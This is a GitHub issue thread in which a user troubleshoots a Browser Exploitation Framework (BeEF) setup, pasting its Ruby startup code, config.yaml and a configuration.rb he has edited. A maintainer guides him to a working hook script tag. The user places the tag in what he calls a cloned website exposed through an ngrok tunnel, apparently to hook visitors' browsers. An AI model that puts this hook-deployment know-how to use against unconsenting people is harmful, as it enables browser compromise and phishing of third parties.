    # These settings will be used to create a public facing URL
    # This public facing URL will be used for all hook related calls
    # set the public setting below:
    # public:
    # host: "http://7d8b-197-221-212-40.ngrok.io"
    # port: "3000" # public port will default to 80 if no https 443 if https 
                  # and local if not set but there is a public host
    # https: true # true/false

    # Reverse Proxy / NAT
    # If you want BeEF to be accessible behind a reverse proxy or NAT,
    #   set both the publicly accessible hostname/IP address and port below:

see, i just made those lines into comments and i still have same error, since its comment now, its not supposed to have effect on the output of the code

[ 0:01:06][!] Warning: System language $LANG '' does not appear to be UTF-8 compatible.
Traceback (most recent call last):
4: from ./beef:119:in <main>' 3: from /home/surprise/beef/core/main/configuration.rb:201:in get'
2: from /home/surprise/beef/core/main/configuration.rb:201:in inject' 1: from /home/surprise/beef/core/main/configuration.rb:201:in each'
/home/surprise/beef/core/main/configuration.rb:202:in block in get': undefined method []' for nil:NilClass (NoMethodError)

@catchmeifyoucaan
Copy link
Author

or do you think i should sudo rm -r beef? and start all over again, if you would be here to help, i'll do it now

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

or do you think i should sudo rm -r beef? and start all over again, if you would be here to help, i'll do it now

Please format your code posts using triple backticks.

I'm not going to reverse engineer your changes.

It is really not clear what you're doing especially when you paste excerpts of configuration files, especially when the formatting of those files is important. There's way too many possibilities and it's way too hard to figure out what you've done when you've made "little changes" to core code like the configuration.rb file - suspiciously the exact file where you're getting errors - based on what some random person said in some random youtube video.

I suggest making a backup of your repo. Create a fresh clone. Make changes one by one, and when it breaks you'll know what broke it.

@catchmeifyoucaan
Copy link
Author

i made changes to @@instance because it doesnt have a value so i made it @@instance = self, that was the only changes i made to the configuration file.
triple back ticks you mean '''?

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

if you would be here to help, i'll do it now

I'll be around intermittently for a while.

It's probably a simple issue, it's just not easy to spot with partial files in poorly formatted markdown.

i made changes to @https://github.com/instance because it doesnt have a value so i made it @https://github.com/instance = self

That... doesn't sound right.

triple back ticks you mean '''?

```
code
```

@catchmeifyoucaan
Copy link
Author

#!/usr/bin/env ruby

#
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

#
# @note stop Fixnum deprecation warning from being displayed
#
$VERBOSE = nil

#
# @note Version check to ensure BeEF is running Ruby 2.7+
#
min_ruby_version = '2.7'
if RUBY_VERSION < min_ruby_version
  puts
  puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version #{min_ruby_version} or later."
  puts
  exit 1
end

#
# @note Platform check to ensure BeEF is not running on Windows
#
if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
  puts
  puts "Ruby platform #{RUBY_PLATFORM} is not supported."
  puts
  exit 1
end

#
# @note set load path, application root directory and user preferences directory
#
$root_dir = File.join(File.expand_path(File.dirname(File.realpath(__FILE__))), '.')
$:.unshift($root_dir)
$home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze

#
# @note Require core loader
#
require 'core/loader'
require 'timeout'

#
# @note Ask user if they would like to update beef
#
if File.exist?("#{$root_dir}git") && BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
  if BeEF::Core::Console::CommandLine.parse[:update_auto] == true
    print 'Checking latest BeEF repository and updating'
    `git pull && bundle`
  elsif `git rev-parse master` != `git rev-parse origin/master`
    begin
      Timeout.timeout(5) do
        puts '-- BeEF Update Available --'
        print 'Would you like to update to lastest version? y/n: '
        response = gets
        `git pull && bundle` if response&.strip == 'y'
      end
    rescue Timeout::Error
      puts "\nUpdate Skipped with input timeout"
    end
  end
end

#
# @note Create ~/.beef/
#
begin
  FileUtils.mkdir_p($home_dir) unless File.directory?($home_dir)
rescue => e
  print_error "Could not create '#{$home_dir}': #{e.message}"
  exit 1
end

#
# @note Initialize the Configuration object. Loads a different config.yaml if -c flag was passed.
#
if BeEF::Core::Console::CommandLine.parse[:ext_config].empty?
  config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml")
else
  config = BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
end

#
# @note set log level
#
BeEF.logger.level = config.get('beef.debug') ? Logger::DEBUG : Logger::WARN

#
# @note Check the system language settings for UTF-8 compatibility
#
env_lang = ENV['LANG']
if env_lang !~ /(utf8|utf-8)/i
  print_warning "Warning: System language $LANG '#{env_lang}' does not appear to be UTF-8 compatible."
  if env_lang =~ /\A([a-z]+_[a-z]+)\./i
    country = $1
    print_more "Try: export LANG=#{country}.utf8"
  end
end

#
# @note Check if port and WebSocket port need to be updated from command line parameters
#
unless BeEF::Core::Console::CommandLine.parse[:port].empty?
  config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port])
end

unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
  config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
end

#
# @note Exit on default credentials
#
if config.get("beef.credentials.user").eql?('beef') && config.get("beef.credentials.passwd").eql?('beef')
  print_error "ERROR: Default username and password in use!"
  print_more "Change the beef.credentials.passwd in config.yaml"
  exit 1
end

#
# @note Validate beef.http.public and beef.http.public_port
#
unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host'))
  print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}"
  exit 1
end

unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port'))
  print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}"
  exit 1
end

#
# @note After the BeEF core is loaded, bootstrap the rest of the framework internals
#
require 'core/bootstrap'

#
# @note Prints the BeEF ascii art if the -a flag was passed
#
if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
  BeEF::Core::Console::Banners.print_ascii_art
end

#
# @note Prints BeEF welcome message
#
BeEF::Core::Console::Banners.print_welcome_msg

#
# @note Loads enabled extensions
#
BeEF::Extensions.load

#
# @note Loads enabled modules
#
BeEF::Modules.load

#
# @note Disable reverse DNS
#
Socket.do_not_reverse_lookup = true

#
# @note Database setup
#
#
# @note Load the database
#
db_file = config.get('beef.database.file')
# @note Resets the database if the -x flag was passed
if BeEF::Core::Console::CommandLine.parse[:resetdb]
  print_info 'Resetting the database for BeEF.'
  File.delete(db_file) if File.exists?(db_file)
end
# Connect to DB
ActiveRecord::Base.logger = nil
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
# otr-activerecord require you to manually establish the connection with the following line
#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.
if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
  OTR::ActiveRecord.establish_connection!
end
# Migrate (if required)
context = ActiveRecord::Migration.new.migration_context
if context.needs_migration?
  ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate
end
#
# @note Extensions may take a moment to load, thus we print out a please wait message
#
print_info 'BeEF is loading. Wait a few seconds...'

#
# @note Execute migration procedure, checks for new modules
#
BeEF::Core::Migration.instance.update_db!

#
# @note Create HTTP Server and prepare it to run
#
http_hook_server = BeEF::Core::Server.instance
http_hook_server.prepare

#
# @note Prints information back to the user before running the server
#
BeEF::Core::Console::Banners.print_loaded_extensions
BeEF::Core::Console::Banners.print_loaded_modules
BeEF::Core::Console::Banners.print_network_interfaces_count
BeEF::Core::Console::Banners.print_network_interfaces_routes

#
# @note Prints the API key needed to use the RESTful API
#
print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"

#
# @note Load the GeoIP database
#
BeEF::Core::GeoIp.instance

#
# @note Call the API method 'pre_http_start'
#
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)

#
# @note Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directory
#
BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory

#
# @note Start the WebSocket server
#
if config.get("beef.http.websocket.enable")
  BeEF::Core::Websocket::Websocket.instance
  BeEF::Core::Console::Banners.print_websocket_servers
end

#
# @note Start HTTP server
#
print_info 'BeEF server started (press control+c to stop)'
http_hook_server.start

beef configuration, complete

@catchmeifyoucaan
Copy link
Author

#
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# BeEF Configuration file

beef:
    version: '0.5.4.0'
    # More verbose messages (server-side)
    debug: true
    # More verbose messages (client-side)
    client_debug: true
    # Used for generating secure tokens
    crypto_default_value_length: 80

    # Credentials to authenticate in BeEF.
    # Used by both the RESTful API and the Admin interface
    credentials:
        user:   "**"
        passwd: "*"

    # Interface / IP restrictions
    restrictions:
        # subnet of IP addresses that can hook to the framework
        permitted_hooking_subnet: ["10.1.0.0/16"]
        # subnet of IP addresses that can connect to the admin UI
        #permitted_ui_subnet: ["127.0.0.1/32", "::1/128"]
        permitted_ui_subnet: ["127.0.0.1/32"]
        # subnet of IP addresses that cannot be hooked by the framework
        excluded_hooking_subnet: []
        # slow API calls to 1 every  api_attempt_delay  seconds
        api_attempt_delay: "0.05"

    # HTTP server 
    http:
        debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
        host: "0.0.0.0"
        port: "3000"

        # Decrease this setting to 1,000 (ms) if you want more responsiveness
        #  when sending modules and retrieving results.
        # NOTE: A poll timeout of less than 5,000 (ms) might impact performance
        #  when hooking lots of browsers (50+).
        # Enabling WebSockets is generally better (beef.websocket.enable)
        xhr_poll_timeout: 1000

        # Host Name / Domain Name
        # If you want BeEF to be accessible via hostname or domain name (ie, DynDNS),
        # These settings will be used to create a public facing URL
        # This public facing URL will be used for all hook related calls
        # set the public setting below:
        # public:
        # host: "http://7d8b-197-221-212-40.ngrok.io"
        # port: "3000" # public port will default to 80 if no https 443 if https 
                      # and local if not set but there is a public host
        # https: true # true/false

        # Reverse Proxy / NAT
        # If you want BeEF to be accessible behind a reverse proxy or NAT,
        #   set both the publicly accessible hostname/IP address and port below:
        # NOTE: Allowing the reverse proxy will enable a vulnerability where the ui/panel can be spoofed
        #   by altering the X-FORWARDED-FOR ip address in the request header.
        allow_reverse_proxy: false

        # Hook
        hook_file: "/hook.js"
        hook_session_name: "BEEFHOOK"

        # Allow one or multiple origins to access the RESTful API using CORS
        # For multiple origins use: "http://browserhacker.com, http://domain2.com"
        restful_api:
            allow_cors: false
            cors_allowed_domains: "http://browserhacker.com"

        # Prefer WebSockets over XHR-polling when possible.
        websocket:
            enable: false
            port: 61985 # WS: good success rate through proxies
            # Use encrypted 'WebSocketSecure'
            # NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
            secure: true
            secure_port: 61986 # WSSecure
            ws_poll_timeout: 5000 # poll BeEF every x second, this affects how often the browser can have a command execute on it
            ws_connect_timeout: 500 # useful to help fingerprinting finish before establishing the WS channel

        # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
        web_server_imitation:
            enable: true
            type: "apache" # Supported: apache, iis, nginx
            hook_404: true # inject BeEF hook in HTTP 404 responses
            hook_root: true # inject BeEF hook in the server home page
        # Experimental HTTPS support for the hook / admin / all other Thin managed web services
        https:
            enable: false
            # Enabled this config setting if you're external facing uri is using https
            public_enabled: false
            # In production environments, be sure to use a valid certificate signed for the value
            # used in beef.http.public (the domain name of the server where you run BeEF)
            key: "beef_key.pem"
            cert: "beef_cert.pem"

    database:
        file: "beef.db"

    # Autorun Rule Engine
    autorun:
        # this is used when rule chain_mode type is nested-forward, needed as command results are checked via setInterval
        # to ensure that we can wait for async command results. The timeout is needed to prevent infinite loops or eventually
        # continue execution regardless of results.
        # If you're chaining multiple async modules, and you expect them to complete in more than 5 seconds, increase the timeout.
        result_poll_interval: 300
        result_poll_timeout: 5000

        # If the modules doesn't return status/results and timeout exceeded, continue anyway with the chain.
        # This is useful to call modules (nested-forward chain mode) that are not returning their status/results.
        continue_after_timeout: true

    # Enables DNS lookups on zombie IP addresses
    dns_hostname_lookup: true

    # IP Geolocation
    geoip:
        enable: true
        # GeoLite2 City database created by MaxMind, available from https://www.maxmind.com
        database: '/usr/share/GeoIP/GeoLite2-City.mmdb'

    # Integration with PhishingFrenzy
    # If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
    # to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
    integration:
        phishing_frenzy:
            enable: false

    # You may override default extension configuration parameters here
    # Note: additional experimental extensions are available in the 'extensions' directory
    #       and can be enabled via their respective 'config.yaml' file
    extension:
        admin_ui:
            enable: true
            base_path: "/ui"
        demos:
            enable: true
        events:
            enable: true
        evasion:
            enable: false
        requester:
            enable: true
        proxy:
            enable: true
        network:
            enable: true
        metasploit:
            enable: false
        social_engineering:
            enable: true
        xssrays:
            enable: true

config.yaml file

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

beef configuration, complete

Are you using beef from git ? Can you use diff files instead? It is much easier to reverse engineer whatever insane thing you've done. You can generate a diff like this:

git diff ./beef

Also, are you starting fresh? Is it working? Or are you trying to repair the existing repo?

Also, that's the beef code, not the configuration file.

@catchmeifyoucaan
Copy link
Author

#
# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#

module BeEF
  module Core
    class Configuration
      attr_accessor :config

      # antisnatchor: still a singleton, but implemented by hand because we want to have only one instance
      # of the Configuration object while having the possibility to specify a parameter to the constructor.
      # This is  why we don't use anymore the default Ruby implementation -> include Singleton
      def self.instance
        @@instance = self (** This was initially just instance, i added self because it showed eerror**)
      end

      # Loads the default configuration system
      # @param [String] configuration_file Configuration file to be loaded,
      #        by default loads $root_dir/config.yaml
      def initialize(config)
        raise TypeError, "'config' needs to be a string" unless config.string?
        raise TypeError, "Configuration file '#{config}' cannot be found" unless File.exist? config

        begin
          # open base config
          @config = load(config)
          # set default value if key? does not exist
          @config.default = nil
          @@config = config
        rescue StandardError => e
          print_error "Fatal Error: cannot load configuration file '#{config}' : #{e.message}"
          print_error e.backtrace
        end

        @@instance = self
      end

      # Loads yaml file
      # @param [String] file YAML file to be loaded
      # @return [Hash] YAML formatted hash
      def load (file)
        return nil unless File.exist? file

        raw = File.read file
        YAML.safe_load raw
      rescue StandardError => e
        print_debug "Unable to load configuration file '#{file}' : #{e.message}"
        print_error e.backtrace
      end

      #
      # @note balidate the configuration file
      #
      def validate
        if @config.empty?
          print_error 'Configuration file is empty'
          return
        end

        if @config['beef'].nil?
          print_error "Configuration file is malformed: 'beef' is nil"
          return
        end

        if @config['beef']['credentials'].nil?
          print_error "Configuration file is malformed: 'beef.credentials' is nil"
          return
        end

        if @config['beef']['http'].nil?
          print_error "Configuration file is malformed: 'beef.http' is nil"
          return
        end

        return unless validate_public_config_variable?(@config)

        if @config['beef']['http']['public_port']
          print_error 'Config path beef.http.public_port is deprecated.'
          print_error 'Please use the new format for public variables found'
          print_error 'https://github.com/beefproject/beef/wiki/Configuration#web-server-configuration'
          return
        end

        true
      end

      #
      # Returns the configuration value for the http server host
      # If nothing is set it should default to 0.0.0.0 (all interfaces)
      def local_host
        get('beef.http.host') || '0.0.0.0'
      end

      #
      # Returns the configuration value for the http server port
      # If nothing is set it should default to 3000
      def local_port
        get('beef.http.port') || '3000'
      end

      #
      # Return the local protocol
      # if nothing is set default to http
      def local_proto
        local_https_enabled ? 'https' : 'http'
      end

      #
      # Returns the configuration value for the local https enabled
      # If nothing is set it should default to false
      def local_https_enabled
        get('beef.http.https.enable') || false
      end

      #
      # Returns the configuration value for the http server host
      def public_host
        get('beef.http.public.host')
      end

      #
      # Returns the beef host which is used by external resources
      # e.g. hooked browsers
      def beef_host
        public_host || local_host
      end

      #
      # Returns the beef port which is used by external resource
      # e.g. hooked browsers
      def beef_port
        public_port || local_port
      end

      def public_enabled?
        !get('beef.http.public.host').nil?
      end

      #
      # Returns the beef protocol that is used by external resources
      # e.g. hooked browsers
      def beef_proto
        if public_enabled? && public_https_enabled?
          'https'
        elsif public_enabled? && !public_https_enabled?
          'http'
        elsif !public_enabled?
          local_proto
        end
      end

      #
      # Returns the beef scheme://host:port for external resources
      # e.g. hooked browsers
      def beef_url_str
        "#{beef_proto}://#{beef_host}:#{beef_port}"
      end

      # Returns the hool path value stored in the config file
      #
      # @return [String] hook file path
      def hook_file_path
        get('beef.http.hook_file') || '/hook.js'
      end

      # Returns the url to the hook file
      #
      # @return [String] the url string
      def hook_url
        "#{beef_url_str}#{hook_file_path}"
      end

      # Returns the configuration value for the http server port
      # If nothing is set it should default to 3000
      def public_port
        return get('beef.http.public.port') unless get('beef.http.public.port').nil?

        return '443' if public_https_enabled?
        return '80' unless public_host.nil?

        nil
      end

      #
      # Returns the configuration value for the local https enabled
      # If nothing is set it should default to false
      def public_https_enabled?
        get('beef.http.public.https') || false
      end

      #
      # Returns the value of a selected key in the configuration file.
      # @param [String] key Key of configuration item
      # @return [Hash|String] The resulting value stored against the 'key'
      #
      def get(key)
        subkeys = key.split('.')
        lastkey = subkeys.pop
        subhash = subkeys.inject(@config) do |hash, k|
        hash [:k]
        end
        return nil if subhash.nil?

        subhash.key?(lastkey) ? subhash [lastkey] : nil
      end

      #
      # Sets the give key value pair to the config instance
      # @param [String] key The configuration key
      # @param value The value to be stored against the 'key'
      # @return [Boolean] If the store procedure was successful
      #
      def set(key, value)
        subkeys = key.split('.').reverse
        return false if subkeys.empty?

        hash = { subkeys.shift.to_s => value }
        subkeys.each { |v| hash = { v.to_s => hash } }
        @config = @config.deep_merge hash
        true
      end

      #
      # Clears the given key hash
      # @param [String] key Configuration key to be cleared
      # @return [Boolean] If the configuration key was cleared
      #
      def clear(key)
        subkeys = key.split('.')
        return false if subkeys.empty?

        lastkey = subkeys.pop
        hash = @config
        subkeys.each { |v| hash = hash[v] }
        hash.delete(lastkey).nil? ? false : true
      end

      #
      # Load extensions configurations
      #
      def load_extensions_config
        set('beef.extension', {})
        Dir.glob("#{$root_dir}/extensions/*/config.yaml") do |cf|
          y = load(cf)
          if y.nil?
            print_error "Unable to load extension configuration '#{cf}'"
            next
          end

          y['beef']['extension'][y['beef']['extension'].keys.first]['path'] = cf.gsub(/config\.yaml/, '').gsub(%r{#{$root_dir}/}, '')
          @config = y.deep_merge(@config)
        end
      end

      #
      # Load module configurations
      #
      def load_modules_config
        set('beef.module', {})
        # support nested sub-categories, like browser/hooked_domain/ajax_fingerprint
        module_configs = File.join("#{$root_dir}/modules/**", 'config.yaml')
        Dir.glob(module_configs) do |cf|
          y = load(cf)
          if y.nil?
            print_error "Unable to load module configuration '#{cf}'"
            next
          end

          y['beef']['module'][y['beef']['module'].keys.first]['path'] = cf.gsub('config.yaml', '').gsub(%r{#{$root_dir}/}, '')
          @config = y.deep_merge @config
          # API call for post module config load
          BeEF::API::Registrar.instance.fire(
            BeEF::API::Configuration,
            'module_configuration_load',
            y['beef']['module'].keys.first
          )
        end
      end

      private

      def validate_public_config_variable?(config)
        return true if config['beef']['http']['public'].is_a?(Hash) ||
                       config['beef']['http']['public'].is_a?(NilClass)

        print_error 'Config path beef.http.public is deprecated.'
        print_error 'Please use the new format for public variables found'
        print_error 'https://github.com/beefproject/beef/wiki/Configuration#web-server-configuration'
        false
      end
    end
  end
end

configuration.rb

@catchmeifyoucaan
Copy link
Author

where should i add the script to, beef configuration or config.yaml? Dont close this yet please

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

The HTML must be executed in a web browser. Take a look at the demo page for an example.

@catchmeifyoucaan
Copy link
Author

<script src="http://beef.local.ip.address.here:3000/hook.js"></script>

i know this is the html but where should i add it to, should i just save it in var/www/html folder? is that all i got to do? im so confused

@catchmeifyoucaan
Copy link
Author

┌──(root💀surprise)-[/var/www/html]
└─# l
DVWA/ hook index.html index.nginx-debian.html

i already saved it under var/www/html, but it doesnt work, please help me understand

@bcoles
Copy link
Collaborator

bcoles commented Mar 21, 2022

<script src="http://beef.local.ip.address.here:3000/hook.js"></script>

i know this is the html but where should i add it to

Add it wherever you like.

should i just save it in var/www/html folder?

If you like.

is that all i got to do?

You'll need to save it with a .html file extension.

And you'll need to start which ever web server loads content from /var/www/html - presumably Apache.

And then you'll need to load the page in a web browser.

im so confused

It's not hard. Look at the demo page for an example.

but it doesnt work,

What does "doesn't work" mean? For someone who wants help you make helping you extremely difficult.

The BeEF hook is written in JavaScript. You can tell a browser to execute JavaScript by including it in <script> tags.

Your browser has built in development tools which can help you diagnose issues.

@catchmeifyoucaan
Copy link
Author

I'm so sorry if i have proved hard to work with, maybe because I'm still learning.

<script type="text/javascript" src="http://3f79-197-221-213-143.ngrok.io:443/hook.js"></script> <script type="text/javascript">PORTAL_URL = 'http://www.google.com"></script>

i already added the said script in the website i want to use for beef at /var/www/html but I'm still getting the bunch of JS codes, its not displaying the website interface just a bunch of code, thats it

@catchmeifyoucaan
Copy link
Author

and yes i saved it as .html, do i have to do something with the config.yaml for the hook to work?

@bcoles
Copy link
Collaborator

bcoles commented Mar 22, 2022

There's your problem.

<script type="text/javascript" src="http://3f79-197-221-213-143.ngrok.io:443/hook.js"></script> 

@bcoles
Copy link
Collaborator

bcoles commented Mar 22, 2022

You're forcing http:// protocol to port 443. That is doomed to failure.

BeEF prints the hook URL to terminal when it starts up. It should print something like this:

https://3f79-197-221-213-143.ngrok.io/hook.js

@catchmeifyoucaan
Copy link
Author

[17:06:37][] 309 modules enabled.
[17:06:37][
] 2 network interfaces were detected.
[17:06:37][] running on network interface: 127.0.0.1
[17:06:37] | Hook URL: http://127.0.0.1:3000/hook.js
[17:06:37] |_ UI URL: http://127.0.0.1:3000/ui/panel
[17:06:37][
] running on network interface: 172.23.203.101
[17:06:37] | Hook URL: http://172.23.203.101:3000/hook.js
[17:06:37] |_ UI URL: http://172.23.203.101:3000/ui/panel
[17:06:37][] Public:
[17:06:37] | Hook URL: https://3f79-197-221-213-143.ngrok.io:443/hook.js
[17:06:37] |_ UI URL: https://3f79-197-221-213-143.ngrok.io:443/ui/panel
[17:06:37][
] RESTful API key: f5251286d55c87dfc77bb069b853cbb63e47c008
[17:06:37][] HTTP Proxy: http://127.0.0.1:6789
[17:06:37][
] BeEF server started (press control+c to stop)

those are the urlsin beef terminal, i should simply remove the port 443?

@catchmeifyoucaan
Copy link
Author

i just tried to stop using ngrok until im sure it works, so i changed to my local IP,
in the .html fine, i use: <script type="text/javascript" src="http://127.0.0.1/hook.js"></script>
in the config.yaml i use: public:
host: "http://127.0.0.1/hook.js" # public hostname/IP address
port: "3000" # public port will default to 80 if no https 443 if https
# and local if not set but there is a public host
https: true # true/false

but i got this error,

./beef
[17:20:25][!] ERROR: Invalid public hostname: http://127.0.0.1/hook.js

@catchmeifyoucaan
Copy link
Author

.html JS: <script type="text/javascript" src="http://127.0.0.1/hook.js"></script>

config.yaml
public:
host: "127.0.0.1" # public hostname/IP address
port: "3000" # public port will default to 80 if no https 443 if https
# and local if not set but there is a public host
https: true # true/false

but i still cant access the hook url, i'm still doing something wrong.

@bcoles
Copy link
Collaborator

bcoles commented Mar 22, 2022

#2367 (comment)

@bcoles
Copy link
Collaborator

bcoles commented Mar 22, 2022

image

@catchmeifyoucaan
Copy link
Author

index.html script added:

<script type="text/javascript" src="http://eab2-197-221-213-143.ngrok.io/hook.js"></script>

URL in beef Terminal (UI panel works fine, but the hook.js still showing the JS code, thts the only error im facing now)
Hook URL: https://eab2-197-221-213-143.ngrok.io:443/hook.js
[18:01:25] |_ UI URL: https://eab2-197-221-213-143.ngrok.io:443/ui/panel

My nano config.yaml public facing URL:
public:
host: "eab2-197-221-213-143.ngrok.io" # public hostname/IP address
port: "443" # public port will default to 80 if no https 443 if https
# and local if not set but there is a public host
https: true # true/false

I'm sorry for being a dick but i just havent found the solution, and i knw its still my problem

@bcoles
Copy link
Collaborator

bcoles commented Mar 22, 2022

https

@bcoles
Copy link
Collaborator

bcoles commented Mar 22, 2022

#2367 (comment)

@catchmeifyoucaan
Copy link
Author

i should change https to false?

@bcoles
Copy link
Collaborator

bcoles commented Mar 22, 2022

bro take a step back and think about what you're doing

@bcoles
Copy link
Collaborator

bcoles commented Mar 22, 2022

Your config file is fine. stop breaking things.

The hook URL is https. Your script tag uses http. Use https.

@bcoles
Copy link
Collaborator

bcoles commented Mar 22, 2022

image

@catchmeifyoucaan
Copy link
Author

now this is my script

<script type="text/javascript" src="https://eab2-197-221-213-143.ngrok.io/hook.js"></script>

i have added https and remove the 443 port, but the hook.js still shows the bunch of code instead of the homepage

@bcoles
Copy link
Collaborator

bcoles commented Mar 22, 2022

i have added https and remove the 443 port, but the hook.js still shows the bunch of code instead of the homepage

The BeEF hook is written in JavaScript. It contains JavaScript. If you open it you will see JavaScript.

Take a step back and think about what you're doing.

You created a HTML page. You put a script tag in that HTML page. If you open that page the script will execute.

@catchmeifyoucaan
Copy link
Author

i dont quite understand, yes i have a html page and i added the JS script to it, when i open my hook.js was i suppose to see a bunch of code like below or the actual website i cloned
op

@catchmeifyoucaan
Copy link
Author

it just throw this at me everytime, I'm sure its not linking to the webpage with the website i added the JS to because its been showing this bunch of code for several times even if i made changes to the webpage i want, it just throw this codes at me. its frustrating

@bcoles
Copy link
Collaborator

bcoles commented Mar 22, 2022

i dont quite understand, yes i have a html page and i added the JS script to it, when i open my hook.js was i suppose to see a bunch of code like below or the actual website i cloned
it just throw this at me everytime, I'm sure its not linking to the webpage with the website i added the JS to because its been showing this bunch of code for several times even if i made changes to the webpage i want, it just throw this codes at me. its frustrating

open the html page

@catchmeifyoucaan
Copy link
Author

Screenshot_2022-03-21_18-32-59

this is the webpage im trying it with and i saved the page in .html and i edit with nano. i already included the javascript

@catchmeifyoucaan
Copy link
Author

catchmeifyoucaan commented Mar 22, 2022

this opened because i opened it from the saved files, if i try the hook url, it doesnt open just those code

@beefproject beefproject locked as spam and limited conversation to collaborators Mar 22, 2022
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
Projects
None yet
Development

No branches or pull requests

2 participants